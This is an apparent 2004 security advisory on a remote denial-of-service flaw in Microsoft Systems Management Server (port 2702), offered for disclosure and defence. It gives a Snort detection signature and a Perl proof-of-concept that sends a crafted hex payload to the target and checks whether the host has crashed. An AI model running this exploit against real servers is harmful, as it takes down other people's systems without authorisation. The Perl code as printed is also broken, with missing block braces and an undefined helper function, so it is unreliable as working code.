MS SMS DOS Proof-of-concept code and Snort sig

[<wang () readyresponse org>]

#####################################################################

Advisory Name : Microsoft Systems Management Server Remote Denial Of Service Vulnerability
Release Date : 22 July, 2004
Application : Microsoft Systems Management Server (SMS)
Author : MacDefender / SRR Project Group of Ready Response (srr () readyresponse org)

#####################################################################

Overview

In response to a remote denial of service vulnerability in the Microsoft Systems Management Server:

http://www.securityfocus.com/bid/10726
http://www.net-security.org/vuln.php?id=3576

We have developed a snort signature to detect attempted DOS attacks to the SMS port 2702 port on a server.

In addition we have also released perl code that will demonstrate the vulnerability against a live server, so 
administrators will be able to test the security of their own Systems Management Server's.


------------------------------------------------

Signature

The snort (www.snort.org) signature we have developed for identifying an attempted DOS attack to a Systems Management 
Server is as follows:

alert tcp any 1024: -> any 2702 (msg: "MS SMS DOS"; content: "|52 43 48 30|";depth: 4;isdataat: 139; classtype: 
denial-of-service;)


------------------------------------------------

Proof of concept code

You may test your own Systems Management Server's for vulnerability to this issue by using the following perl code:


#!/usr/bin/perl

use Socket;
use IO::Socket;

if (@ARGV != 1)

$host = shift(@ARGV);

$hexmsg = 
converthex("5243483016004000524348455858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858585858");

print "\nCreating socket for connection to: $host\n\n";

my $sock1 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => "(2702)", Proto => "tcp") or die("Could not create 
socket: $!\n");

$sock1->autoflush(1);

print $sock1 "$hexmsg";

while (<$sock1>)

        print;

print "\nPacket sent to $host (please wait) ...\n";

sleep(2);

my $sock2 = IO::Socket::INET->new (PeerAddr => $host, PeerPort => '(2702)', Proto => 'tcp') or die("\nDOS was 
successful - $host is down ...\n");

print "\nAttempt was not successful. $host is still alive and responding ...\n";
